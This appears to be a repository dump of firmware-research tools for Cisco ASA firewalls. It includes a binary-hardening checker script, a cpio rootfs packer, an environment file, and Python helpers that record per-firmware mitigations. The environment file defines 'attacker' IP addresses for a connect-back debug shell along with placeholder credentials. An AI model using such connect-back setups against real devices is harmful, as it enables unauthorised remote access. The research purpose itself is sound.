\033[32m%-30s\033[m | __%s%s\n" $FS_tmp_func $FS_tmp_libc $FS_end 531 | let FS_cnt_total++ 532 | let FS_cnt_checked++ 533 | fi 534 | 535 | done 536 | done 537 | } 538 | 539 | FS_summary() { 540 | echo 541 | printf "SUMMARY:\n\n" 542 | printf "* Number of checked functions in libc : ${#FS_chk_func_libc[@]}\n" 543 | printf "* Total number of library functions in the executable: ${#FS_functions[@]}\n" 544 | printf "* Number of FORTIFY-able functions in the executable : %s\n" $FS_cnt_total 545 | printf "* Number of checked functions in the executable : \033[32m%s\033[m\n" $FS_cnt_checked 546 | printf "* Number of unchecked functions in the executable : \033[31m%s\033[m\n" $FS_cnt_unchecked 547 | echo 548 | } 549 | 550 | # --- FORTIFY_SOURCE subfunctions (end) --- 551 | 552 | if !(command_exists readelf) ; then 553 | printf "\033[31mWarning: 'readelf' not found! It's required for most checks.\033[m\n\n" 554 | have_readelf=0 555 | fi 556 | 557 | # parse command-line arguments 558 | case "$1" in 559 | 560 | --version) 561 | version 562 | exit 0 563 | ;; 564 | 565 | --help) 566 | help 567 | exit 0 568 | ;; 569 | 570 | --dir) 571 | if [ "$3" = "-v" ] ; then 572 | verbose=true 573 | fi 574 | if [ $have_readelf -eq 0 ] ; then 575 | exit 1 576 | fi 577 | if [ -z "$2" ] ; then 578 | printf "\033[31mError: Please provide a valid directory.\033[m\n\n" 579 | exit 1 580 | fi 581 | # remove trailing slashes 582 | tempdir=`echo $2 | sed -e "s/\/*$//"` 583 | if [ ! -d $tempdir ] ; then 584 | printf "\033[31mError: The directory '$tempdir' does not exist.\033[m\n\n" 585 | exit 1 586 | fi 587 | cd $tempdir 588 | printf "RELRO STACK CANARY NX PIE RPATH RUNPATH FILE\n" 589 | for N in [A-Za-z]*; do 590 | if [ "$N" != "[A-Za-z]*" ]; then 591 | # read permissions? 592 | if [ ! -r $N ]; then 593 | printf "\033[31mError: No read permissions for '$tempdir/$N' (run as root).\033[m\n" 594 | else 595 | # ELF executable? 596 | out=`file $N` 597 | if [[ ! $out =~ ELF ]] ; then 598 | if [ "$verbose" = "true" ] ; then 599 | printf "\033[34m*** Not an ELF file: $tempdir/" 600 | file $N 601 | printf "\033[m" 602 | fi 603 | else 604 | filecheck $N 605 | if [ `find $tempdir/$N \( -perm -004000 -o -perm -002000 \) -type f -print` ]; then 606 | printf "\033[37;41m%s%s\033[m" $2 $N 607 | else 608 | printf "%s%s" $tempdir/ $N 609 | fi 610 | echo 611 | fi 612 | fi 613 | fi 614 | done 615 | exit 0 616 | ;; 617 | 618 | --file) 619 | if [ $have_readelf -eq 0 ] ; then 620 | exit 1 621 | fi 622 | if [ -z "$2" ] ; then 623 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 624 | exit 1 625 | fi 626 | # does the file exist? 627 | if [ ! -e $2 ] ; then 628 | printf "\033[31mError: The file '$2' does not exist.\033[m\n\n" 629 | exit 1 630 | fi 631 | # read permissions? 632 | if [ ! -r $2 ] ; then 633 | printf "\033[31mError: No read permissions for '$2' (run as root).\033[m\n\n" 634 | exit 1 635 | fi 636 | # ELF executable? 637 | out=`file $2` 638 | if [[ ! $out =~ ELF ]] ; then 639 | printf "\033[31mError: Not an ELF file: " 640 | file $2 641 | printf "\033[m\n" 642 | exit 1 643 | fi 644 | printf "RELRO STACK CANARY NX PIE RPATH RUNPATH FILE\n" 645 | filecheck $2 646 | if [ `find $2 \( -perm -004000 -o -perm -002000 \) -type f -print` ] ; then 647 | printf "\033[37;41m%s%s\033[m" $2 $N 648 | else 649 | printf "%s" $2 650 | fi 651 | echo 652 | exit 0 653 | ;; 654 | 655 | --proc-all) 656 | if [ $have_readelf -eq 0 ] ; then 657 | exit 1 658 | fi 659 | cd /proc 660 | printf "* System-wide ASLR" 661 | aslrcheck 662 | printf "* Does the CPU support NX: " 663 | nxcheck 664 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 665 | for N in [1-9]*; do 666 | if [ $N != $$ ] && readlink -q $N/exe > /dev/null; then 667 | printf "%16s" `head -1 $N/status | cut -b 7-` 668 | printf "%7d " $N 669 | proccheck $N 670 | echo 671 | fi 672 | done 673 | if [ ! -e /usr/bin/id ] ; then 674 | printf "\n\033[33mNote: If you are running 'checksec.sh' as an unprivileged user, you\n" 675 | printf " will not see all processes. Please run the script as root.\033[m\n\n" 676 | else 677 | if !(root_privs) ; then 678 | printf "\n\033[33mNote: You are running 'checksec.sh' as an unprivileged user.\n" 679 | printf " Too see all processes, please run the script as root.\033[m\n\n" 680 | fi 681 | fi 682 | exit 0 683 | ;; 684 | 685 | --proc) 686 | if [ $have_readelf -eq 0 ] ; then 687 | exit 1 688 | fi 689 | if [ -z "$2" ] ; then 690 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 691 | exit 1 692 | fi 693 | if !(isString "$2") ; then 694 | printf "\033[31mError: Please provide a valid process name.\033[m\n\n" 695 | exit 1 696 | fi 697 | cd /proc 698 | printf "* System-wide ASLR" 699 | aslrcheck 700 | printf "* Does the CPU support NX: " 701 | nxcheck 702 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 703 | for N in `ps -Ao pid,comm | grep $2 | cut -b1-6`; do 704 | if [ -d $N ] ; then 705 | printf "%16s" `head -1 $N/status | cut -b 7-` 706 | printf "%7d " $N 707 | # read permissions? 708 | if [ ! -r $N/exe ] ; then 709 | if !(root_privs) ; then 710 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 711 | exit 1 712 | fi 713 | if [ ! `readlink $N/exe` ] ; then 714 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 715 | exit 1 716 | fi 717 | exit 1 718 | fi 719 | proccheck $N 720 | echo 721 | fi 722 | done 723 | exit 0 724 | ;; 725 | 726 | --proc-libs) 727 | if [ $have_readelf -eq 0 ] ; then 728 | exit 1 729 | fi 730 | if [ -z "$2" ] ; then 731 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 732 | exit 1 733 | fi 734 | if !(isNumeric "$2") ; then 735 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 736 | exit 1 737 | fi 738 | cd /proc 739 | printf "* System-wide ASLR" 740 | aslrcheck 741 | printf "* Does the CPU support NX: " 742 | nxcheck 743 | printf "* Process information:\n\n" 744 | printf " COMMAND PID RELRO STACK CANARY NX/PaX PIE\n" 745 | N=$2 746 | if [ -d $N ] ; then 747 | printf "%16s" `head -1 $N/status | cut -b 7-` 748 | printf "%7d " $N 749 | # read permissions? 750 | if [ ! -r $N/exe ] ; then 751 | if !(root_privs) ; then 752 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 753 | exit 1 754 | fi 755 | if [ ! `readlink $N/exe` ] ; then 756 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 757 | exit 1 758 | fi 759 | exit 1 760 | fi 761 | proccheck $N 762 | echo 763 | libcheck $N 764 | fi 765 | exit 0 766 | ;; 767 | 768 | --kernel) 769 | cd /proc 770 | printf "* Kernel protection information:\n\n" 771 | kernelcheck 772 | exit 0 773 | ;; 774 | 775 | --fortify-file) 776 | if [ $have_readelf -eq 0 ] ; then 777 | exit 1 778 | fi 779 | if [ -z "$2" ] ; then 780 | printf "\033[31mError: Please provide a valid file.\033[m\n\n" 781 | exit 1 782 | fi 783 | # does the file exist? 784 | if [ ! -e $2 ] ; then 785 | printf "\033[31mError: The file '$2' does not exist.\033[m\n\n" 786 | exit 1 787 | fi 788 | # read permissions? 789 | if [ ! -r $2 ] ; then 790 | printf "\033[31mError: No read permissions for '$2' (run as root).\033[m\n\n" 791 | exit 1 792 | fi 793 | # ELF executable? 794 | out=`file $2` 795 | if [[ ! $out =~ ELF ]] ; then 796 | printf "\033[31mError: Not an ELF file: " 797 | file $2 798 | printf "\033[m\n" 799 | exit 1 800 | fi 801 | if [ -e /lib/libc.so.6 ] ; then 802 | FS_libc=/lib/libc.so.6 803 | elif [ -e /lib64/libc.so.6 ] ; then 804 | FS_libc=/lib64/libc.so.6 805 | elif [ -e /lib/i386-linux-gnu/libc.so.6 ] ; then 806 | FS_libc=/lib/i386-linux-gnu/libc.so.6 807 | elif [ -e /lib/x86_64-linux-gnu/libc.so.6 ] ; then 808 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 809 | else 810 | printf "\033[31mError: libc not found.\033[m\n\n" 811 | exit 1 812 | fi 813 | 814 | FS_chk_func_libc=( $(readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 815 | FS_functions=( $(readelf -s $2 | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 816 | 817 | FS_libc_check 818 | FS_binary_check 819 | FS_comparison 820 | FS_summary 821 | 822 | exit 0 823 | ;; 824 | 825 | --fortify-proc) 826 | if [ $have_readelf -eq 0 ] ; then 827 | exit 1 828 | fi 829 | if [ -z "$2" ] ; then 830 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 831 | exit 1 832 | fi 833 | if !(isNumeric "$2") ; then 834 | printf "\033[31mError: Please provide a valid process ID.\033[m\n\n" 835 | exit 1 836 | fi 837 | cd /proc 838 | N=$2 839 | if [ -d $N ] ; then 840 | # read permissions? 841 | if [ ! -r $N/exe ] ; then 842 | if !(root_privs) ; then 843 | printf "\033[31mNo read permissions for '/proc/$N/exe' (run as root).\033[m\n\n" 844 | exit 1 845 | fi 846 | if [ ! `readlink $N/exe` ] ; then 847 | printf "\033[31mPermission denied. Requested process ID belongs to a kernel thread.\033[m\n\n" 848 | exit 1 849 | fi 850 | exit 1 851 | fi 852 | if [ -e /lib/libc.so.6 ] ; then 853 | FS_libc=/lib/libc.so.6 854 | elif [ -e /lib64/libc.so.6 ] ; then 855 | FS_libc=/lib64/libc.so.6 856 | elif [ -e /lib/i386-linux-gnu/libc.so.6 ] ; then 857 | FS_libc=/lib/i386-linux-gnu/libc.so.6 858 | elif [ -e /lib/x86_64-linux-gnu/libc.so.6 ] ; then 859 | FS_libc=/lib/x86_64-linux-gnu/libc.so.6 860 | else 861 | printf "\033[31mError: libc not found.\033[m\n\n" 862 | exit 1 863 | fi 864 | printf "* Process name (PID) : %s (%d)\n" `head -1 $N/status | cut -b 7-` $N 865 | FS_chk_func_libc=( $(readelf -s $FS_libc | grep _chk@@ | awk '{ print $8 }' | cut -c 3- | sed -e 's/_chk@.*//') ) 866 | FS_functions=( $(readelf -s $2/exe | awk '{ print $8 }' | sed 's/_*//' | sed -e 's/@.*//') ) 867 | 868 | FS_libc_check 869 | FS_binary_check 870 | FS_comparison 871 | FS_summary 872 | fi 873 | exit 0 874 | ;; 875 | 876 | *) 877 | if [ "$#" != "0" ] ; then 878 | printf "\033[31mError: Unknown option '$1'.\033[m\n\n" 879 | fi 880 | help 881 | exit 1 882 | ;; 883 | esac 884 | -------------------------------------------------------------------------------- /cpio.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # Main script to deal with a rootfs extracted from a firmware 8 | 9 | usage() 10 | { 11 | echo "-c Create cpio image" 12 | echo "-d Directory to turn into cpio image" 13 | echo "-e Extract cpio image" 14 | echo "-o Output file" 15 | echo "Examples:" 16 | echo "Create ./cpio.sh -c -d rootfs -o rootfs.img" 17 | echo "Extract ./cpio.sh -e -i rootfs.img" 18 | } 19 | 20 | CREATE= 21 | EXTRACT= 22 | OUTPUT= 23 | DIR= 24 | CPIOFILE= 25 | while [ $# -gt 0 ] 26 | do 27 | key="$1" 28 | 29 | case $key in 30 | -c|--create) 31 | CREATE="Y" 32 | ;; 33 | -e|--extract) 34 | EXTRACT="Y" 35 | ;; 36 | -i|--cpio-image) 37 | CPIOFILE="$2" 38 | shift 39 | ;; 40 | -d|--dir) 41 | DIR="$2" 42 | shift # past argument 43 | ;; 44 | -o|--output) 45 | OUTPUT="$2" 46 | shift # past argument 47 | ;; 48 | *) 49 | # unknown option 50 | echo "Unknown option" 51 | usage 52 | ;; 53 | esac 54 | shift 55 | done 56 | 57 | CPIODIR=$(dirname "$CPIOFILE") 58 | # Checking for . allows us to specify relative paths... 59 | if [[ ${CPIODIR} == '.' ]]; then 60 | CPIODIR=$(pwd) 61 | fi 62 | 63 | if [ ! -z "${CREATE}" ]; then 64 | OLDDIR=$(pwd) 65 | cd "${DIR}" 66 | find . | cpio -o -H newc | gzip -9 > "${OUTPUT}" 67 | cd ${OLDDIR} 68 | fi 69 | 70 | if [ ! -z "${EXTRACT}" ]; then 71 | OLDDIR=$(pwd) 72 | if [ -z "${DIR}" ]; then 73 | echo "Extraction requires -d to specify dir to extract to" 74 | exit 75 | fi; 76 | 77 | if [ -z "${CPIOFILE}" ]; then 78 | echo "Extraction requires -i to specify cpio image to extract" 79 | exit 80 | fi; 81 | mkdir -p "${DIR}" 82 | cd ${DIR} 83 | cpio -id < ${CPIODIR}/${CPIOFILE} 84 | cd ${OLDDIR} 85 | fi 86 | 87 | -------------------------------------------------------------------------------- /env.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # Initialization script to use before using any other script. 8 | # Usage: source env.sh 9 | # 10 | # NOTE: sudo will require sudo -E 11 | # NOTE: If you want a rootshell that inherits the environment use "sudo bash" 12 | 13 | ## VARIABLES ## 14 | export ASATOOLS=1 # indicates env.sh was sourced 15 | 16 | # Working directories 17 | export REPO="/path/to/main/repo/" 18 | export TOOLDIR="${REPO}/asafw/" 19 | export DEBUGDIR="${REPO}/asadbg/" 20 | export FIRMWAREDIR="/tmp" # where clean firmware files live 21 | export FWTOOL="${TOOLDIR}/bin.py" 22 | export UNPACK_REPACK_BIN="${TOOLDIR}/unpack_repack_bin.sh" 23 | export LINA_LINUXSHELL="${TOOLDIR}/lina.py" 24 | export WORKDIR="/tmp" # a directory for temporary files 25 | export OUTDIR="/tmp" # a directory for generated files 26 | export QCOW2MNT="/mnt/qcow2" # where we mount qcow2 files using qemu-nbd 27 | # Credentials 28 | export ASA_USER="user" 29 | export ASA_PASS="user" 30 | # Networking 31 | export ASA_IP="192.168.210.77" # ASA IP address 32 | export ATTACKER_ASA="192.168.210.78" # IP address to connect back to for debug shell 33 | export ATTACKER_GNS3="192.168.100.201" # IP address to connect back to for debug shell (for GNS3) 34 | 35 | export ASADBG_DB="${DEBUGDIR}/asadb.json" 36 | export ASADBG_CONFIG="${DEBUGDIR}/template/asadbg.cfg" 37 | 38 | export GNS3_IP="192.168.5.1" # ASA IP address (for GNS3) 39 | export RETSYNC_IP="192.168.5.1" # IP address for instance of running IDA to connect ret-sync 40 | export GDB="gdb" # Use a path to a gdb compiled with Python 3 41 | 42 | # Maybe add TOOLDIR or DEBUGDIR already to PATH 43 | if [ ! -z "${PATH##*${TOOLDIR}*}" ]; then 44 | PATH=${PATH}:${TOOLDIR} 45 | fi 46 | if [ ! -z "${PATH##*${DEBUGDIR}*}" ]; then 47 | PATH=${PATH}:${DEBUGDIR} 48 | fi -------------------------------------------------------------------------------- /helper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # NOTE: This file should be kept in sync with helper.py from asadbg 8 | # 9 | # This contains helpers for other parts. Note that some of them are common 10 | # to several projects: asadbg, asafw, libdlmalloc, libptmalloc, libmempool, etc. 11 | 12 | import os, re, json, pickle, sys, time 13 | 14 | # An example of what this function is doing: 15 | # 16 | # If you had two IDBs associated with asa924-smp-k8.bin, but one was from 17 | # hardware and one was from a qcow (and thus asav), then you could have folders 18 | # like this: 19 | # 20 | # ~/asa924-smp-k8.bin/asa924-smp-k8.idb 21 | # ~/asav924-smp-k8.bin/asa924-smp-k8.idb 22 | # 23 | # This way the direct parent folder name itself is used as the identifier. This 24 | # identifier is path is also used to look up target info inside of the 25 | # mapping_config dictionary in ext_gdb/sync.py. The general problem with this 26 | # is if the filesystem hosting the idb is not the same as the one hosting the 27 | # files, as the directory layout might be totally different. 28 | def build_bin_name(s): 29 | if "asav" in s: 30 | match = re.search(r'asav([^\\/.]+)\.qcow2', s) 31 | if not match: 32 | print_error("Could not find the asavXXX.qcow2 in string: %s" % s) 33 | return '' 34 | return "asav%s.qcow2" % match.group(1) 35 | elif "SPA" in s: 36 | match = re.search(r'asa([^\\/.]+)\.SPA', s) 37 | if not match: 38 | print_error("Could not find the asaXXX.SPA in string: %s" % s) 39 | return '' 40 | return "asa%s.SPA" % match.group(1) 41 | else: 42 | match = re.search(r'asa([^\\/.]+)\.bin', s) 43 | if not match: 44 | print_error("Could not find the asaXXX.bin in string: %s" % s) 45 | return '' 46 | return "asa%s.bin" % match.group(1) 47 | 48 | # parse the version from the firmware name 49 | # examples: asa811-smp-k8.bin, asa825-k8.bin, asa805-31-k8.bin 50 | def build_version(dirname): 51 | 52 | version = '' 53 | if "asav" in dirname: 54 | match = re.search(r'asav([^\\/.]+)\.qcow2', dirname) 55 | if not match: 56 | print_error("Could not find the asavXXX.qcow2 in string: %s" % dirname) 57 | return '' 58 | elif "SPA" in dirname: 59 | match = re.search(r'asa([^\\/.]+)\.SPA', dirname) 60 | if not match: 61 | print_error("Could not find the asaXXX.SPA in string: %s" % dirname) 62 | return '' 63 | else: 64 | match = re.search(r'asa([^\\/.]+)\.bin', dirname) 65 | if not match: 66 | print_error("Could not find the asaXXX.bin in string: %s" % dirname) 67 | return '' 68 | 69 | verName = match.group(1) 70 | elts = verName.split("-") 71 | first = True 72 | try: 73 | for e in elts: 74 | if first: 75 | for c in e: 76 | if not first: 77 | version += '.' 78 | version += '%c' % c 79 | first = False 80 | else: 81 | version += '.%d' % int(e) 82 | # assume we get one at some point (eg: "k8") - it means we are done for now 83 | except ValueError: 84 | pass 85 | 86 | return version 87 | 88 | # check if a firmware is new based on the firmware name 89 | def is_new(targets, new): 90 | for t in targets: 91 | if t["fw"] == new["fw"]: 92 | return False 93 | return True 94 | 95 | def load_targets(targetdb): 96 | # XXX log.logmsg() does not work 97 | # as it prints 98 | # so we use print() instead :| 99 | print("[helper] Reading from %s" % targetdb) 100 | if targetdb.endswith(".pickle"): 101 | usePickle = True 102 | elif targetdb.endswith(".json"): 103 | usePickle = False 104 | else: 105 | print("[helper] Can't decide if pickle to use based on extension") 106 | sys.exit() 107 | if os.path.isfile(targetdb): 108 | if usePickle: 109 | # old format 110 | try: 111 | targets = pickle.load(open(targetdb, "rb")) 112 | # ValueError: insecure string pickle 113 | # long story short, while using git on both Linux/Windows, do NOT ask git to replace 114 | # CRLF with its own between the local version and the remote server. Indeed, the pickle will 115 | # be modified and it will be treated in a text file instead of binary :/ 116 | except ValueError: 117 | # hax so we can use it if it fails to open the db 118 | targets = pickle.load(open(targetdb, "r")) 119 | else: 120 | # even when using filelock, it looks like sometimes we read bad JSON 121 | # so we try several times :| 122 | max_attempts = 5 123 | attempts = 0 124 | while attempts < max_attempts: 125 | try: 126 | # we avoid "rb" as the JSON object must be str, not bytes 127 | with open(targetdb, "r") as tmp: 128 | targets = json.loads(tmp.read()) 129 | except ValueError: 130 | print("[helper] Failed to read valid JSON, trying again in 1 sec") 131 | time.sleep(1) 132 | attempts += 1 133 | else: 134 | break 135 | if attempts == max_attempts: 136 | print('[helper] [!] failed to read %s' % targetdb) 137 | sys.exit(1) 138 | else: 139 | print('[helper] [!] %s file not found' % targetdb) 140 | sys.exit(1) 141 | return targets 142 | 143 | def get_target_index(targets, bin_name): 144 | for i in range(len(targets)): 145 | if targets[i]["fw"] == bin_name: 146 | return i 147 | return None 148 | -------------------------------------------------------------------------------- /info.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # This file is part of asafw. 4 | # Copyright (c) 2017, Aaron Adams 5 | # Copyright (c) 2017, Cedric Halbronn 6 | # 7 | # Add firmware mitigations info to json database 8 | # or display mitigations info on a given firmware 9 | # 10 | # Note that the output is valid markdown so it can be updated 11 | # in the asafw/README.md 12 | 13 | import argparse 14 | import json 15 | import os 16 | import sys 17 | import pprint 18 | import re 19 | from datetime import datetime 20 | 21 | from helper import * 22 | 23 | def logmsg(s, end=None): 24 | if type(s) == str: 25 | if end != None: 26 | print("[info] " + s, end=end) 27 | else: 28 | print("[info] " + s) 29 | else: 30 | print(s) 31 | 32 | def mitigations_table_header(): 33 | print("| ID | Version |Arch|ASLR| NX |PIE|Can|RELRO|Sym|Strip| Linux | Glibc | Heap allocator | Build date | Firmware |") 34 | print("|-----|-----------|----|----|----|---|---|-----|---|-----|----------|-------|----------------|------------|---------------------------") 35 | 36 | def migitations_table_footer(): 37 | print("| ID | Version |Arch|ASLR| NX |PIE|Can|RELRO|Sym|Strip| Linux | Glibc | Heap allocator | Build date | Firmware |") 38 | print("| Can = Canary |||||||||||||| |") 39 | print("| Sym = Exported symbols |||||||||||||| |") 40 | 41 | # print info/mitigations for ASA firewalls in a markdown-formated table 42 | def print_mitigations(results): 43 | if results == None: 44 | logmsg("[!] Need actual results to print. Got none") 45 | return 46 | mitigations_table_header() 47 | idx = 0 48 | 49 | for t in results: 50 | # assume an entry we want to print has at least "stripped" otherwise we skip it 51 | # XXX - print it so we remember to add its mitigations in the db 52 | #if "stripped" not in t: 53 | # continue 54 | line = "|" 55 | line += " %.03d" % (idx) + ' |' 56 | line += "% 10s" % t['version'] + ' |' 57 | try: 58 | arch = t["arch"] 59 | except KeyError: 60 | arch = "?" 61 | try: 62 | aslr = "Y" if t["ASLR"] else "N" 63 | except KeyError: 64 | aslr = "?" 65 | try: 66 | nx = "Y" if t["NX"] else "N" 67 | except KeyError: 68 | nx = "?" 69 | try: 70 | pie = "Y" if t["PIE"] else "N" 71 | except KeyError: 72 | pie = "?" 73 | try: 74 | canary = "Y" if t["Canary"] else "N" 75 | except KeyError: 76 | canary = "?" 77 | try: 78 | relro = "Y" if t["RELRO"] else "N" 79 | except KeyError: 80 | relro = "?" 81 | try: 82 | symb = "Y" if t["exported_symbols"] else "N" 83 | except KeyError: 84 | symb = "?" 85 | try: 86 | stripped = "Y" if t["stripped"] else "N" 87 | except KeyError: 88 | stripped = "?" 89 | try: 90 | glibc_version = t["glibc_version"] 91 | except KeyError: 92 | glibc_version = "?" 93 | try: 94 | match = re.search(r'Linux version ([0-9.]*)', t["uname"]) 95 | uname = match.group(1) 96 | except KeyError: 97 | uname = "?" 98 | try: 99 | heap_alloc = t["heap_alloc"] 100 | except KeyError: 101 | heap_alloc = "?" 102 | try: 103 | build_date = t["build_date"] 104 | except KeyError: 105 | build_date = "?" 106 | line += " % 2s" % arch + ' |' 107 | line += " % 2s" % aslr + ' |' 108 | line += " % 2s" % nx + ' |' 109 | line += " % 1s" % pie + ' |' 110 | line += " % 1s" % canary + ' |' 111 | line += " % 3s" % relro + ' |' 112 | line += " % 1s" % symb + ' |' 113 | line += " % 2s" % stripped + ' |' 114 | line += " % 8s" % uname + ' |' 115 | line += " % 5s" % glibc_version + ' |' 116 | line += " % 14s" % heap_alloc + ' |' 117 | line += " % 10s" % build_date + ' |' 118 | line += "% 26s" % t['fw'] + ' |' 119 | print(line) 120 | idx += 1 121 | migitations_table_footer() 122 | 123 | # List info/mitigations in a table or directly the JSON (verbose=True) 124 | def list_mitigations(dbname, bin_name, verbose=True): 125 | results = None 126 | logmsg("Using dbname %s" % dbname) 127 | if os.path.isfile(dbname): 128 | with open(dbname, "r") as tmp: 129 | results = json.loads(tmp.read()) 130 | if verbose: 131 | if bin_name == None: 132 | print(json.dumps(results, indent=4)) 133 | else: 134 | for r in results: 135 | if r["fw"] == bin_name: 136 | print(json.dumps(r, indent=4)) 137 | break 138 | else: 139 | print_mitigations(results) 140 | 141 | # Parse some info passed from info.sh so we can save them in a database 142 | def parse_info2(new_r, info, build_date=None): 143 | if "32-bit" in info: 144 | new_r["arch"] = 32 145 | elif "64-bit" in info: 146 | new_r["arch"] = 64 147 | else: 148 | logmsg("ERROR: arch not found") 149 | if "No RELRO" in info: 150 | new_r["RELRO"] = False 151 | # full relro requires you to use non-lazy binding so at load time 152 | # you resolve every symbol in the GOT, then relocate the GOT to 153 | # read-only so that you can never overwrite it 154 | # partial relro means that you are still using lazy binding for 155 | # a bunch of GOT entries, but there is a subset that will be 156 | # non-lazy bound (i forget how it determines) which will be made ro 157 | # but the rest of the GOT will be rw for the remainder of execution 158 | # so in general you could think of it as GOT still not being detected in general 159 | # unless you happen to _need_ one of the GOT entries that was actually relro 160 | elif "Partial RELRO" in info: 161 | # XXX - could be improved but we don't care for now 162 | new_r["RELRO"] = False 163 | else: 164 | logmsg("ERROR: RELRO not found") 165 | if "No canary found" in info: 166 | new_r["Canary"] = False 167 | else: 168 | logmsg("ERROR: Canary not found") 169 | if "NX disabled" in info: 170 | new_r["NX"] = False 171 | elif "NX enabled" in info: 172 | new_r["NX"] = True 173 | else: 174 | logmsg("ERROR: NX not found") 175 | if "No PIE" in info: 176 | new_r["PIE"] = False 177 | elif "PIE enabled" in info: 178 | new_r["PIE"] = True 179 | else: 180 | logmsg("ERROR: PIE not found") 181 | if "Not Stripped" in info: 182 | new_r["stripped"] = False 183 | elif "Stripped" in info: 184 | new_r["stripped"] = True 185 | else: 186 | logmsg("ERROR: Stripped not found") 187 | if "ASLR Disabled" in info: 188 | new_r["ASLR"] = False 189 | elif "ASLR Enabled" in info: 190 | new_r["ASLR"] = True 191 | else: 192 | logmsg("ERROR: ASLR not found") 193 | if "No symbol table" in info: 194 | new_r["exported_symbols"] = False 195 | elif "Contains symbol table" in info: 196 | new_r["exported_symbols"] = True 197 | else: 198 | logmsg("ERROR: symbols not found") 199 | match = re.search(r'libc-(.*)\.so', info) 200 | if not match: 201 | match = re.search(r'GNU C Library stable release version ([\w.]*)', info) 202 | if match: 203 | new_r["glibc_version"] = match.group(1) 204 | else: 205 | logmsg("ERROR: glibc not found") 206 | # We test the glibc version first because we know that dlmalloc 2.8.3 in lina is used for all versions using glibc 2.9 207 | # and we know dlmalloc 2.8.3 in lina is NOT the default heap allocator when glibc 2.18 is used 208 | if "glibc_version" in new_r.keys() and new_r["glibc_version"] == "2.9": 209 | new_r["heap_alloc"] = "dlmalloc 2.8.3" 210 | elif "glibc_version" in new_r.keys() and new_r["glibc_version"] == "2.18": 211 | new_r["heap_alloc"] = "ptmalloc 2.x" 212 | else: 213 | match = re.search(r'dlmalloc ([\w.]*)', info) 214 | if match: 215 | new_r["heap_alloc"] = "dlmalloc %s" % (match.group(1)) 216 | else: 217 | logmsg("ERROR: heap allocator not found") 218 | 219 | # try to guess the lina_imagebase based on experience 220 | if "arch" in new_r.keys() and "ASLR" in new_r.keys(): 221 | if new_r["arch"] == 32: 222 | new_r["lina_imagebase"] = 0x8048000 223 | elif new_r["arch"] == 64: 224 | if new_r["ASLR"] == True: 225 | # when ASLR is enabled, we assume it has been disabled by us manually 226 | # and this is the address we get until now 227 | new_r["lina_imagebase"] = 0x555555554000 228 | else: 229 | new_r["lina_imagebase"] = 0x400000 230 | 231 | # %Z only matchesA "UTC", "EST" and "CST" so we try them all 232 | fmt_list = [ 233 | "%a %b %d %H:%M:%S PST %Y", 234 | "%a %b %d %H:%M:%S PDT %Y", 235 | "%a %b %d %H:%M:%S MST %Y", 236 | "%a %b %d %H:%M:%S MDT %Y", 237 | ] 238 | # Parses something like that: 239 | # "PIX (9.2.4) #0: Tue Jul 14 22:19:35 PDT 2015" 240 | if build_date and "PIX (" in build_date: 241 | off = build_date.find(":") 242 | if off == -1: 243 | logmsg("ERROR: could not find ':' in build_date: %s" % build_date) 244 | else: 245 | d = build_date[off+1:].strip() 246 | dt = None 247 | for fmt in fmt_list: 248 | try: 249 | dt = datetime.strptime(d, fmt) 250 | break 251 | except ValueError as e: 252 | continue 253 | if not dt: 254 | logmsg("ERROR: could not find valid format in build_date: %s" % d) 255 | else: 256 | new_r["build_date"] = dt.strftime("%d-%m-%Y") 257 | 258 | 259 | return new_r 260 | 261 | # Add some info we got for an asa*.bin into a database 262 | def update_db(dbname, bin_name, info, build_date=None): 263 | results = [] 264 | if os.path.isfile(dbname): 265 | with open(dbname, "rb") as tmp: 266 | results = json.loads(tmp.read().decode('UTF-8')) 267 | version = build_version(bin_name) 268 | new_r = {} 269 | new_r["fw"] = bin_name 270 | new_r["version"] = version 271 | if "RELRO" in info: 272 | new_r = parse_info2(new_r, info, build_date=build_date) 273 | elif "Linux version" in info: 274 | new_r["uname"] = info 275 | isNew = True 276 | for r in results: 277 | if r["fw"] == new_r["fw"]: 278 | logmsg("Updating old element") 279 | print(r) 280 | for k,v in new_r.items(): 281 | r[k] = v 282 | print(r) 283 | isNew = False 284 | break 285 | if isNew: 286 | logmsg("Adding new element:") 287 | print(new_r) 288 | results.append(new_r) 289 | results = sorted(results, key=lambda k: k["version"].split(".")) 290 | open(dbname, "wb").write(bytes(json.dumps(results, indent=4), encoding="UTF-8")) 291 | 292 | if __name__ == "__main__": 293 | parser = argparse.ArgumentParser() 294 | parser.add_argument('-l', dest='list_mitigations', action='store_true', help='List migitations in all firmware versions') 295 | parser.add_argument('-u', dest='update_info', default=None, help="Output from info.sh to update db") 296 | parser.add_argument('-b', dest='build_date', default=None, help="Output from info.sh for the lina build date") 297 | parser.add_argument('-i', dest='bin_name', help='firmware bin name to update or display') 298 | parser.add_argument('-v', dest='verbose', help='display more info') 299 | parser.add_argument('-d', dest='dbname', default=None, help='json database name to read/list info from') 300 | args = parser.parse_args() 